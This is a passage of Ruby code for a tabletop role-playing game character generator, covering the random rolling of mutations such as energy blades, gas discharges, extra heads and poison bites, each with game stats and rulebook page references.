10), :damage => \\\"3d20 vs organics; 6d20 vs electronics\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"64\\\", :notes => \\\"User must make intelligence type B hazard check or go insane for 1 hour (p. 126)\\\"}\\n when 306..314\\n @@primary_mutations << \\\"Dread Zone\\\"\\n @@attacks << {:attack_mode => \\\"Dread Zone\\\", :SV => \\\"01-95\\\", :rate => 1, :range => @@intelligence, :damage => \\\"tybe B hazard check vs. intelligence or +10SV to attack\\\", :ammo => \\\"1/rank/day\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"64\\\", :notes => \\\"Duration: rank in rounds; does not affect inorganic beings or creatures with morale = n/a\\\"}\\n when 315..322\\n @@primary_mutations << \\\"Earth Thump\\\"\\n @@attacks << {:attack_mode => \\\"Earth Thump\\\", :SV => (@@willpower + 30), :rate => \\\"3 rounds to generate\\\", :range => @@willpower, :damage => \\\"d10/user rank\\\", :ammo => \\\"2/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"64\\\", :notes => \\\"Targets 1 human-sized enemy per rank of user (assuming multiple targets close together)\\\"}\\n when 323..341\\n @@primary_mutations << \\\"Electrical Charge\\\"\\n @@attacks << {:attack_mode => \\\"Electrical Charge\\\", :SV => 20, :rate => \\\"1\\\", :range => 0, :damage => \\\"d20 + HC\\\", :ammo => \\\"2/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"64\\\", :notes => \\\"Victim makes END-based tybe B hazard check or stunned for d3 rounds\\\"}\\n @@character_notes << \\\"Four Electrical Charge jolts are suffcient to fully re-charge a standard power cell.\\\"\\n when 342..349\\n @@primary_mutations << \\\"Electrical Pulse\\\"\\n @@attacks << {:attack_mode => \\\"Electrical Pulse\\\", :SV => 20, :rate => 1, :range => (@@willpower), :damage => \\\"d20 / 3d20 vs machines\\\", :ammo => \\\"3/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"65\\\", :notes => \\\"Can be used to start fires as well\\\"}\\n when 350..355\\n @@primary_mutations << \\\"Electro Magnetic Pulse\\\"\\n @@attacks << {:attack_mode => \\\"Electro Magnetic Pulse\\\", :SV => 30, :rate => 1, :range => @@willpower, :damage => \\\"d10/d100 vs electronics\\\", :ammo => \\\"2/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"65\\\", :notes => \\\"\\\"}\\n when 356..376\\n @@primary_mutations << \\\"Empathy\\\"\\n @@character_notes << \\\"Empathy: #{@@willpower} range. Unlimited uses. The subject is allowed a type C, intelligence based hazard check. If failed, mutant knows victim's emotions. Alternately, emotions can be projected.\\\"\\n when 377..388\\n @@primary_mutations << \\\"Energy Blade\\\"\\n def energy_blade_type(roll) # table Hub Rules p. 65\\n case roll\\n when 1..20\\n @@attacks << {:attack_mode => \\\"Energy Blade: Blue\\\", :SV => 10, :rate => 1, :range => 1, :damage => \\\"d12\\\", :ammo => \\\"#{@@willpower} rounds\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"65\\\", :notes => \\\"2/day/rank\\\"}\\n when 21..40\\n @@attacks << {:attack_mode => \\\"Energy Blade: Green\\\", :SV => 10, :rate => 1, :range => 1, :damage => \\\"d20 stun\\\", :ammo => \\\"#{@@willpower} rounds\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"65\\\", :notes => \\\"2/day/rank\\\"}\\n when 41..65\\n @@attacks << {:attack_mode => \\\"Energy Blade: Red\\\", :SV => 10, :rate => 1, :range => 1, :damage => \\\"d20\\\", :ammo => \\\"#{@@willpower} rounds\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"65\\\", :notes => \\\"2/day/rank\\\"}\\n when 66..85\\n @@attacks << {:attack_mode => \\\"Energy Blade: Orange\\\", :SV => 10, :rate => 1, :range => 1, :damage => \\\"2d20 stun\\\", :ammo => \\\"#{@@willpower} rounds\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"65\\\", :notes => \\\"2/day/rank\\\"}\\n when 86..97\\n @@attacks << {:attack_mode => \\\"Energy Blade: Purple\\\", :SV => 10, :rate => 1, :range => 1, :damage => \\\"2d20\\\", :ammo => \\\"#{@@willpower} rounds\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"65\\\", :notes => \\\"2/day/rank\\\"}\\n when 98..99\\n @@attacks << {:attack_mode => \\\"Energy Blade: White\\\", :SV => 10, :rate => 1, :range => 1, :damage => \\\"d100 stun\\\", :ammo => \\\"#{@@willpower} rounds\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"65\\\", :notes => \\\"2/day/rank\\\"}\\n when 100\\n @@attacks << {:attack_mode => \\\"Energy Blade: Gold\\\", :SV => 10, :rate => 1, :range => 1, :damage => \\\"d100\\\", :ammo => \\\"#{@@willpower} rounds\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"65\\\", :notes => \\\"2/day/rank\\\"}\\n end\\n end\\n if @@primary_mutations.include? \\\"Energy Blade\\\" # Note: NO duplication -- reroll if this result comes up twice.\\n @@primary_mutations_rolls += 1\\n else\\n energy_blade_type(d(100))\\n end\\n\\n when 389..401\\n @@primary_mutations << \\\"Extreme Size Decrease\\\"\\n @@character_height = (22 + d(20) + d(20)) # NOTE: should be dependent on GENDER, ignored that.\\n 3.times @@skills << \\\"Stealth\\\"\\n 2.times @@skills << \\\"Climbing\\\"\\n @@character_notes << \\\"Cannot wield two-handed weapons. Normal one-handed weapons including pistols must be employed with both hands (except knifes and daggers, which are considered swords for this mutant)\\\"\\n @@character_notes << \\\"Relic armor cannot be worn except scrap relic.\\\"\\n def extreme_size_decrease(height) # Hub Rules p. 65\\n case height\\n when 22..27\\n @@character_weight = (15 + d(10))\\n @@agility += 20\\n @@movement_rate_base == 4.5\\n @@strength = [@@strength - 15, 1].max\\n @@endurance = [@@endurance - 10, 1].max\\n when 28..35\\n @@character_weight = (20 + d(12))\\n @@agility += 15\\n @@movement_rate_base = 5\\n @@strength = [@@strength - 10, 1].max\\n @@endurance = [@@endurance - 7, 1].max\\n when 36..45\\n @@character_weight = (25 + d(20))\\n @@agility += 10\\n @@movement_rate_base = 5.5\\n @@strength = [@@strength - 5, 1].max\\n @@endurance = [@@endurance - 5, 1].max\\n when 46..65\\n @@character_weight = (30 + d(20) + d(20))\\n @@agility += 7\\n @@movement_rate_base = 6\\n @@strength = [@@strength - 3, 1].max\\n @@endurance = [@@endurance - 3, 1].max\\n end\\n end\\n\\n extreme_size_decrease(@@character_height)\\n\\n when 402..419\\n def fang_size(roll) # Hub rules p. 65\\n case roll\\n when 1..3\\n sizeoffangs = \\\"Small\\\"\\n fangsv = 2\\n fangdmg = \\\"d6\\\"\\n @@appearance = [@@appearance - 1, 1].max\\n when 4..8\\n sizeoffangs = \\\"Medium\\\"\\n fangsv = 4\\n fangdmg = \\\"d10\\\"\\n @@appearance = [@@appearance - (1 + d(2)), 1].max\\n when 9..10\\n sizeoffangs = \\\"Huge\\\"\\n fangsv = 6\\n fangdmg = \\\"d20\\\"\\n @@appearance = [@@appearance - (d(3) + 2), 1].max\\n @@character_notes << \\\"Ability to speak clearly greatly reduced\\\"\\n end\\n @@attacks << {:attack_mode => \\\"Fangs\\\", :SV => fangsv, :rate => 1, :range => 0, :damage => fangdmg, :ammo => \\\"2/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"65\\\", :notes => \\\"This attack can only be employed as a supplemental melee attack if involved in close fighting\\\"}\\n @@primary_mutations << \\\"Fanged: #{sizeoffangs} size\\\"\\n end\\n\\n fang_size(d(10))\\n\\n when 420..427\\n @@primary_mutations << \\\"Flame Breath\\\"\\n @@attacks << {:attack_mode => \\\"Flame Breath\\\", :SV => 10, :rate => 1, :range => \\\"3/rank\\\", :damage => \\\"d6/rd for 2d6 rds\\\", :ammo => \\\"2/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"66\\\", :notes => \\\"Up to 3 man sized targets can be attacked at once if close together\\\"}\\n when 428..438\\n def force_field_strength(roll) # Hub rules p. 66\\n case roll\\n when 1..10\\n force_field = d(10)\\n when 11..24\\n force_field = (d(10) + 3)\\n when 25..53\\n force_field = (d(10) + 5)\\n when 54..78\\n force_field = (d(10) + 10)\\n when 79..94\\n force_field = (d(10) + 12)\\n when 95\\n force_field = (d(10) + 15)\\n when 96\\n force_field = (d(10) + 17)\\n when 97\\n force_field = (d(10) + 20)\\n when 98\\n force_field = (d(10) + 23)\\n when 99\\n force_field = (d(10) + 26)\\n when 100\\n force_field = (d(10) + 30)\\n end\\n @@primary_mutations << \\\"Force Field: 2 uses/rank/day; #{willpower} rounds duration; absorbs #{force_field} dmg/round\\\"\\n end\\n force_field_strength(d(100))\\n\\n when 439..445\\n @@primary_mutations << \\\"Foul Flesh\\\"\\n @@character_notes << \\\"Will not eat mutant: all mammals, all humanoids except moaners, horrlify, all amphibians, fsh, birds except black vultures, reptilius, all reptiles, except alligators and crocodilians.\\\"\\n when 446..453\\n def furred_mutation(roll)\\n case roll\\n when 1..3\\n fur_type = \\\"Fine, cat-like\\\"\\n fur_dv = -3\\n fur_cold = \\\"Double normal human cold resistance\\\"\\n @@appearance = [@@appearance - d(3), 1].max\\n when 4..5\\n fur_type = \\\"Wool, sheep-like\\\"\\n fur_dv = -6\\n fur_cold = \\\"Triple normal human cold resistance\\\"\\n @@appearance = [@@appearance - (1 + d(4)), 1].max\\n when 6..7\\n fur_type = \\\"Thick, sheep-like wool\\\"\\n fur_dv = -9\\n fur_cold = \\\"Quadruple normal human cold resistance\\\"\\n @@appearance = [@@appearance - (d(6) + 2), 1].max\\n when 8..9\\n fur_type = \\\"Badger-like bristles\\\"\\n fur_dv = -11\\n fur_cold = \\\"Double normal human cold resistance\\\"\\n @@appearance = [@@appearance - (d(6) + d(6) + 2), 1].max\\n @@character_notes << \\\"+2 dmg to basic punch attack\\\" # +2 dmg to punch attack -- HOW to implement??\\n when 10\\n fur_type = \\\"Porcupine-like quills\\\"\\n fur_dv = -13\\n fur_cold = \\\"Double normal human cold resistance\\\"\\n @@appearance = [@@appearance - (d(6) + d(6) + 3), 1].max\\n @@character_notes << \\\"+2 dmg to basic punch attack\\\" # +2 dmg to punch attack -- HOW to implement??\\n end\\n @@primary_mutations << \\\"Furred: #{fur_type}, #{fur_cold} cold resistance. #{fur_dv} DV bonus\\\"\\n @@dv += fur_dv\\n end\\n furred_mutation(d(10))\\n when 454..459\\n\\n def gaseous_discharge(roll) # Hub Rules p. 67\\n case roll\\n when 1..2\\n gas_type = \\\"Sleep\\\"\\n gas_effect = \\\"All must make an Endurance-based type A hazard check or pass out for d100 rounds.\\\"\\n when 3..4\\n gas_type = \\\"Blindness\\\"\\n gas_effect = \\\"All must make an Endurance-based type A hazard check or go blind for d6 days.\\\"\\n when 5\\n gas_type = \\\"Stink\\\"\\n gas_effect = \\\"All must make an Endurance-based type C hazard check or spend 2 rounds vomiting, becoming +30 to strike, with their own SV being reduced to half, rounded down.\\\"\\n when 6\\n gas_type = \\\"Corrosive\\\"\\n gas_effect = \\\"All must make an Endurance-based type B hazard check suffer d6 damage/rd from corrosive acids. Those who succeed vs. hazard check take 1 dmg/rd.\\\"\\n when 7\\n gas_type = \\\"Hallucinogenic\\\"\\n gas_effect = \\\"All must make an Intelligence-based tybe B hazard check or hallucinate, +30SV to strike and -30SV to retaliate. Animals must make a morale check or flee immediately.\\\"\\n when 8\\n gas_type = \\\"Poison\\\"\\n gas_effect = \\\"All must make an Endurance-based type A hazard check or drop unconscious for 10 rounds. Their breathing ceases on the 11th round and if not resuscitated by artifcial respiration, will die on the 14th round.\\\"\\n end\\n @@primary_mutations << \\\"Gaseous Discharge: #{gas_type}\\\"\\n @@attacks << {:attack_mode => \\\"Gaseous Discharge: #{gas_type}\\\", :SV => \\\"Auto\\\", :rate => 1, :range => \\\"10 m radius\\\", :damage => \\\"Special\\\", :ammo => \\\"2/day\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"66-67\\\", :notes => \\\"#{gas_effect} Gas dissipates in 2 rounds outdoors or lingers 2d10 + 4 rounds in enclosed areas.\\\"}\\n @@character_notes << \\\"Character immune to #{gas_type}\\\"\\n end\\n\\n gaseous_discharge(d(8))\\n\\n when 460..472\\n def gaping_maw(roll) #Hub Rules p. 67\\n case roll\\n when 1..5\\n maw_size = \\\"Large\\\"\\n maw_sv = 4\\n maw_damage = \\\"d12\\\"\\n maw_mv_mod = 0\\n maw_added_weight = 15\\n @@appearance = [@@appearance - (d(4) + d(4) + 2), 1].max\\n when 6..7\\n maw_size = \\\"Huge\\\"\\n maw_sv = 7\\n maw_damage = \\\"d20\\\"\\n maw_mv_mod -= 0.25\\n maw_added_weight = 30\\n @@appearance = [@@appearance - (d(4) + d(4) + 4), 1].max\\n when 8..9\\n maw_size = \\\"Massive\\\"\\n maw_sv = 12\\n maw_damage = \\\"2d20\\\"\\n maw_mv_mod -= 0.5\\n maw_added_weight = 70\\n @@appearance = [@@appearance - (d(6) + d(6) + 5), 1].max\\n when 10\\n maw_size = \\\"Colossal\\\"\\n maw_sv = 20\\n maw_damage = \\\"3d20\\\"\\n maw_mv_mod -= 1\\n maw_added_weight = 120\\n @@appearance = [@@appearance - (d(6) + d(6) + 8), 1].max\\n end\\n @@primary_mutations << \\\"Gaping Maw: #{maw_size} in size\\\"\\n @@attacks << {:attack_mode => \\\"Gaping Maw\\\", :SV => maw_sv, :rate => 1, :range => 0, :damage => maw_damage, :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"67\\\", :notes => \\\"Can be employed as a supplemental melee attack \\\"}\\n @@character_notes << \\\"Almost totally carnivorous diet. Mutant drools and spits when speaking in a low, gruff voice difficult for strangers to understand.\\\"\\n @@character_weight += maw_added_weight\\n @@movement_rate_base -= maw_mv_mod\\n end\\n\\n gaping_maw(d(10))\\n\\n\\n when 473..497\\n def heal_touch(willpower)\\n case willpower\\n when 1..6\\n healrate = \\\"d8\\\"\\n when 7..14\\n healrate = \\\"d12\\\"\\n when 15..34\\n healrate = \\\"d20\\\"\\n when 35..64\\n healrate = \\\"d20 + 10\\\"\\n when 65..84\\n healrate = \\\"d20 + 20\\\"\\n when 85..105\\n healrate = \\\"d20 + 30\\\"\\n when 106..200\\n healrate = \\\"d20 + 40\\\"\\n end\\n @@primary_mutations << \\\"Heal Touch: 2/day/rank, #{healrate} trait points healed. Diseases healed if victim makes Type B willpower based hazard check.\\\"\\n end\\n\\n heal_touch(@@willpower)\\n\\n @@primary_mutations << \\\"Heal Touch\\\"\\n when 498..511\\n def heat_pulse(willpower) # Hub Rules p. 67\\n case willpower\\n when 1..6\\n heat_pulse_sv = -5\\n heat_pulse_dmg = \\\"d6\\\"\\n heat_pulse_range = 5\\n when 7..14\\n heat_pulse_sv = 0\\n heat_pulse_dmg = \\\"d10\\\"\\n heat_pulse_range = 10\\n when 15..34\\n heat_pulse_sv = 4\\n heat_pulse_dmg = \\\"d20\\\"\\n heat_pulse_range = @@willpower\\n when 35..64\\n heat_pulse_sv = 6\\n heat_pulse_dmg = \\\"d20 + 10\\\"\\n heat_pulse_range = (@@willpower * 2)\\n when 65..84\\n heat_pulse_sv = 9\\n heat_pulse_dmg = \\\"d20 + 20\\\"\\n heat_pulse_range = (@@willpower * 3)\\n when 85..105\\n heat_pulse_sv = 12\\n heat_pulse_dmg = \\\"d20 + 30\\\"\\n heat_pulse_range = (@@willpower * 4)\\n when 106..200\\n heat_pulse_sv = 15\\n heat_pulse_dmg = \\\"d20 + 40\\\"\\n heat_pulse_range = (@@willpower * 5)\\n end\\n @@primary_mutations << \\\"Heat Pulse\\\"\\n @@attacks << {:attack_mode => \\\"Heat Pulse\\\", :SV => heat_pulse_sv, :rate => 1, :range => heat_pulse_range, :damage => heat_pulse_dmg, :ammo => \\\"2/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"67\\\", :notes => \\\"\\\"}\\n end\\n\\n heat_pulse(@@willpower)\\n\\n\\n when 512..556\\n\\n def heightened_attributes(roll) # Hub Rules p. 68\\n case roll\\n when 1\\n heightened_attributes_type = \\\"Cat Balance\\\"\\n @@agility += (d(20) + 20)\\n @@accuracy += (d(10) + d(10))\\n @@perception += (d(20) + d(20))\\n @@appearance += d(10)\\n 2.times @@skills << \\\"Stealth\\\"\\n @@character_notes << \\\"Due to cat balance, character always gets two hazard checks when agility or accuracy are involved.\\\"\\n when 2\\n heightened_attributes_type = \\\"Eagle Eyes\\\"\\n @@accuracy += (d(10) + d(10))\\n @@perception += (d(10) + d(10) + d(10))\\n @@character_notes << \\\"Due to eagle eyes, character sees 10x better than typical human, including at night.\\\"\\n when 3..4\\n heightened_attributes_type = \\\"Strength\\\"\\n @@strength += (d(20) + 30)\\n @@appearance += (d(10) + d(10))\\n @@character_notes << \\\"Due to heightened strength, character always gets two hazard checks when strength involved.\\\"\\n when 5..6\\n heightened_attributes_type = \\\"Endurance\\\"\\n @@endurance += (d(20) + 30)\\n @@character_notes << \\\"Due to heightened endurance, character always gets two hazard checks when endurance involved (eg, poison).\\\"\\n when 7\\n heightened_attributes_type = \\\"Hand-Eye Coordination\\\"\\n @@accuracy += (d(20) + 20)\\n @@character_notes << \\\"Due to superior hand-eye coordination, character always gets two hazard checks when accuracy involved.\\\"\\n when 8\\n heightened_attributes_type = \\\"Beauty\\\"\\n @@appearance += (d(20) + 30)\\n @@agility += d(6)\\n @@accuracy += d(6)\\n @@strength += d(6)\\n @@character_notes << \\\"Due to heightened beauty, character always gets two hazard checks when appearance involved.\\\"\\n when 9\\n heightened_attributes_type = \\\"Auditory\\\"\\n @@dv -= 5\\n @@character_notes << \\\"+2 initiative when operating alone or more than 10m from companions.\\\"\\n @@character_notes << \\\"Sonic attacks do double damage, while crying babies, crowded pubs, and other intense noises are painful.\\\"\\n @@character_notes << \\\"Due to heightened hearing, character receives 4 attempts on hazard checks related to listening/hearing.\\\"\\n when 10\\n heightened_attributes_type = \\\"Olfactory\\\"\\n (d(2) + 1).times @@skills << \\\"Tracking\\\"\\n @@character_notes << \\\"Due to heightened sense of smell, character gets no hazard checks vs. stink-based attacks.\\\"\\n @@character_notes << \\\"Character cannot be fooled by illusions at less than 10m\\\"\\n @@character_notes << \\\"Bloodhound-like tracking abilities; however, after 12 hours, or rain, sand storms, or crossing water, all result in lost trails.\\\"\\n when 11\\n heightened_attributes_type = \\\"Willpower\\\"\\n @@willpower += (d(20) + 30)\\n @@character_notes << \\\"Due to heightened willpower, character always gets two hazard checks when willpower involved.\\\"\\n when 12\\n heightened_attributes_type = \\\"Intelligence\\\"\\n @@intelligence += (d(20) + 30)\\n @@character_notes << \\\"Due to heightened intelligence, character always gets two hazard checks when intelligence involved.\\\"\\n end\\n @@primary_mutations << \\\"Heightened Attributes: #{heightened_attributes_type}\\\"\\n end\\n\\n heightened_attributes(d(12))\\n\\n\\n when 557..566\\n number_of_horns = d(4)\\n @@primary_mutations << \\\"Horns: #{number_of_horns} on head\\\"\\n @@character_weight += (2 * number_of_horns)\\n @@attacks << {:attack_mode => \\\"Horns\\\", :SV => (3 * number_of_horns), :rate => 1, :range => 0, :damage => \\\"#{number_of_horns}d10\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"68\\\", :notes => \\\"This attack can be employed as a supplemental melee attack\\\"}\\n @@character_notes << \\\"Due to horns, character can't wear relic helmets or shell-class armor unless horns permanently removed.\\\"\\n when 567..571\\n @@primary_mutations << \\\"Image Multiplication: #{@@willpower} duration, 2 uses/day/rank. Up to #{@@willpower/10.floor} images of mutant's self created. Hub Rules p. 68\\\"\\n when 572..578\\n def image_projection(intelligence)\\n case intelligence\\n when 1..9\\n image_projection_range = \\\"1 km\\\"\\n image_projection_duration = \\\"d4 rounds\\\"\\n when 10..34\\n image_projection_range = \\\"#{@@intelligence/2} km\\\"\\n image_projection_duration = \\\"2d4 rounds\\\"\\n when 35..54\\n image_projection_range = \\\"#{@@intelligence} km\\\"\\n image_projection_duration = \\\"10 + d10 rounds\\\"\\n when 55..74\\n image_projection_range = \\\"#{@@intelligence * 2} km\\\"\\n image_projection_duration = \\\"20 + d20 rounds\\\"\\n when 75..94\\n image_projection_range = \\\"#{@@intelligence * 100} km\\\"\\n image_projection_duration = \\\"100 + d100 rounds\\\"\\n when 95..200\\n image_projection_range = \\\"anywhere within solar system\\\"\\n image_projection_duration = \\\"200 + 2d100 rounds\\\"\\n end\\n @@primary_mutations << \\\"Image Projection: #{image_projection_range} range, #{image_projection_duration} duration. 1/rank/day. Illusion can repeat 2 words/round. Creatures with 35+ intelligence can make a type B intelligence based hazard check to recognize projection as an illusion. Hub Rules p. 69\\\"\\n end\\n\\n image_projection(@@intelligence)\\n\\n when 579..603\\n def immunity_mutation(roll)\\n case roll\\n when 1..2\\n @@primary_mutations << \\\"Poison immunity: totally immune to all forms of poison. Also, cannot get drunk.\\\"\\n when 3..4\\n @@primary_mutations << \\\"Disease immunity: All forms of infection, disease, sickness, parasites, etc. don't affect character. Immune to parasites as well.\\\"\\n when 5..6\\n @@primary_mutations << \\\"Radiation immunity: unaffected by all forms of radiation.\\\"\\n end\\n end\\n\\n immunity_mutation(d(6))\\n\\n when 605..613\\n @@primary_mutations << \\\"Increased Cellular Activity\\\"\\n @@endurance_healing_rate = (@@endurance_healing_rate * 3)\\n @@character_notes << \\\"Character suffers no ill effects from aging (only benefits) and will live forever if not killed in combat, disease, poison, or accident.\\\"\\n when 614..617\\n @@primary_mutations << \\\"Light Burst: 10m radius, 2/day/rank\\\"\\n @@attacks << {:attack_mode => \\\"Light Burst\\\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \\\"1/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"69\\\", :notes => \\\"Type C agility HC or blinded for 2d5 rounds. Blindness: -2 MV, -20 SV, +20 SV to be struck.\\\"}\\n when 618..624\\n @@primary_mutations << \\\"Limb Regeneration: see Hub Rules p. 69 for regeneration rates.\\\"\\n when 625..630\\n def mandibles_mutation(roll)\\n case roll\\n when 1..2\\n mandibles_size = \\\"Small\\\"\\n mandibles_sv = 3\\n mandibles_dmg = \\\"d10\\\"\\n mandibles_weight = 5\\n mandibles_appearance = -(d(4) + 3)\\n when 3..5\\n mandibles_size = \\\"Medium\\\"\\n mandibles_sv = 5\\n mandibles_dmg = \\\"d12\\\"\\n mandibles_weight = 15\\n mandibles_appearance = -(d(6) + 4)\\n when 6..7\\n mandibles_size = \\\"Large\\\"\\n mandibles_sv = 8\\n mandibles_dmg = \\\"d20\\\"\\n mandibles_weight = 20\\n mandibles_appearance = -(d(8) + 6)\\n @@movement_rate_base -= 0.25\\n when 8..9\\n mandibles_size = \\\"Huge\\\"\\n mandibles_sv = 11\\n mandibles_dmg = \\\"d20 + 5\\\"\\n mandibles_weight = 30\\n mandibles_appearance = -(d(6) + d(6) + 5)\\n @@movement_rate_base -= 0.5\\n when 10\\n mandibles_size = \\\"Massive\\\"\\n mandibles_sv = 15\\n mandibles_dmg = \\\"d20 + 10\\\"\\n mandibles_weight = 40\\n mandibles_appearance = -(d(6) + d(6) + d(6) + 6)\\n @@movement_rate_base -= 1\\n\\n end\\n\\n @@attacks << {:attack_mode => \\\"Mandibles\\\", :SV => mandibles_sv, :rate => 1, :range => 0, :damage => mandibles_dmg, :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"69\\\", :notes => \\\"Can be employed as a supplemental melee attack\\\"}\\n @@character_weight += mandibles_weight\\n @@appearance += mandibles_appearance #due to implementation method no protection here from =< 0...\\n @@primary_mutations << \\\"Mandibles: #{mandibles_size} size\\\"\\n end\\n\\n mandibles_mutation(d(10))\\n\\n when 631..641\\n @@primary_mutations << \\\"Mental Mine\\\"\\n when 642..655\\n @@primary_mutations << \\\"Mental Screen\\\"\\n when 656..687\\n @@primary_mutations << \\\"Mind Crush\\\"\\n when 688..693\\n @@primary_mutations << \\\"Mind Waste\\\"\\n when 694..699\\n @@primary_mutations << \\\"Monstrous Morph\\\"\\n when 700..718\\n def multi_arm_mutation(roll) # Hub Rules p. 71\\n case roll\\n when 1..10\\n additional_arms = 1\\n when 11..85\\n additional_arms = 2\\n when 86..90\\n additional_arms = 3\\n when 91..97\\n additional_arms = 4\\n when 98\\n additional_arms = 5\\n when 99\\n additional_arms = 6\\n when 100\\n additional_arms = (d(6) +6)\\n end\\n if additional_arms % 2 == 1\\n def odd_arm_side(roll)\\n case roll\\n when 1\\n odd_arm = \\\"right\\\"\\n when 2\\n odd_arm = \\\"left\\\"\\n end\\n end\\n odd_arm_side(d(2))\\n @@character_notes << \\\"Odd arm is on the #{odd_arm_side} side.\\\"\\n end\\n\\n @@primary_mutations << \\\"Multi-Arm: #{additional_arms} additional arms\\\"\\n end\\n\\n multi_arm_mutation(d(100))\\n\\n when 719..728\\n def multi_head_mutation(roll)\\n case roll\\n when 1..70\\n additional_heads = 1\\n multi_head_appearance = -d(4)\\n multi_head_mv = 0\\n multi_head_initiative = 1\\n when 71..88\\n additional_heads = 2\\n multi_head_appearance = -(d(4) + 1 )\\n multi_head_mv = 0.25\\n multi_head_initiative = 1\\n when 89..95\\n additional_heads = 3\\n multi_head_appearance = -(d(6) + 2)\\n multi_head_mv = 0.5\\n multi_head_initiative = 2\\n when 96..97\\n additional_heads = 4\\n multi_head_appearance = -(d(6) + 4)\\n multi_head_mv = 0.75\\n multi_head_initiative = 2\\n when 98..99\\n additional_heads = 5\\n multi_head_appearance = -(d(6) + 6)\\n multi_head_mv = 1\\n multi_head_initiative = 3\\n when 100\\n additional_heads = 6\\n multi_head_appearance = -(d(6) + 8)\\n multi_head_mv = 1.25\\n multi_head_initiative = 4\\n end\\n\\n @@primary_mutations << \\\"Multi-Head: #{additional_heads} additional heads.\\\"\\n @@appearance += multi_head_appearance\\n @@movement_rate_base -= multi_head_mv\\n @@initiative += multi_head_initiative\\n @@character_notes << \\\"Heads tend to sleep at different times, with wakeful heads acting as lookout.\\\"\\n\\n while extra_heads > 0 do\\n intelligence = attributes_roll(d100)\\n wisdom = attributes_roll(d100)\\n puts \\\"Extra head no. #{extra_heads} has INT of #{intelligence} and WIS of #{wisdom}\\\"\\n def extra_head_mutations(roll2)\\n case roll2\\n when 1..62\\n extra_head_mutation = ghost_mutations(d(100))\\n @@primary_mutations << extra_head_mutation\\n @@character_notes << \\\"Extra head no. #{extra_heads} has the mental mutation #{extra_head_mutation}\\\" # HOW to pick just the name of the mental mutation??\\n end\\n end\\n end\\n additional_heads -= 1\\n end\\n multi_head_mutation(d(100))\\n\\n when 729..738\\n @@primary_mutations << \\\"Night Vision: can see as well at night as a typical human can in daylight (at least starlight must be present).\\\"\\n when 739..745\\n @@primary_mutations << \\\"Peeling Radius\\\"\\n @@attacks << {:attack_mode => \\\"Peeling Radius\\\", :SV => 0, :rate => 1, :range => 10, :damage => \\\"d6/rd\\\", :ammo => \\\"2/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"71\\\", :notes => \\\"10m radius. Automatic hit. Duration: 3 rds/rank\\\"}\\n when 746..754\\n def poison_bite_mutation(roll1, roll2) # Hub Rules p. 71\\n case roll1\\n when 1..54\\n poison_bite_strength = \\\"A\\\"\\n when 55..84\\n poison_bite_strength = \\\"B\\\"\\n when 85..97\\n poison_bite_strength = \\\"C\\\"\\n when 98..99\\n poison_bite_strength = \\\"D\\\"\\n when 100\\n poison_bite_strength = \\\"E\\\"\\n end\\n\\n case roll2\\n when 1..5\\n poison_bite_type = \\\"Death\\\"\\n when 6\\n poison_bite_type = \\\"Paralysis\\\"\\n when 7\\n poison_bite_type = \\\"Insanity\\\"\\n when 8..10\\n poison_bite_type = \\\"Sleep\\\"\\n end\\n\\n @@primary_mutations << \\\"Poison Bite: #{poison_bite_type} venom, strength #{poison_bite_strength}, 4/day. Sufficient to coat 4 arrows/darts or 1 blade per injection's worth of poison.\\\"\\n @@attacks << {:attack_mode => \\\"Poison Bite\\\", :SV => 0, :rate => 1, :range => 0, :damage => \\\"d6 plus poison\\\", :ammo => \\\"4/day\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"71\\\", :notes => \\\"#{poison_bite_type} venom, #{poison_bite_strength} strength.\\\"}\\n end\\n\\n poison_bite_mutation(d(100),d(10))\\n\\n\\n when 755..760\\n\\n def poison_blood_mutation(roll1, roll2) # Hub Rules p. 71\\n case roll1\\n when 1..54\\n poison_bite_strength = \\\"A\\\"\\n when 55..84\\n poison_bite_strength = \\\"B\\\"\\n when 85..97\\n poison_bite_strength = \\\"C\\\"\\n when 98..99\\n poison_bite_strength = \\\"D\\\"\\n when 100\\n poison_bite_strength = \\\"E\\\"\\n end\\n\\n case roll2\\n when 1..5\\n poison_bite_type = \\\"Death\\\"\\n when 6\\n poison_bite_type = \\\"Paralysis\\\"\\n when 7\\n poison_bite_type = \\\"Insanity\\\"\\n when 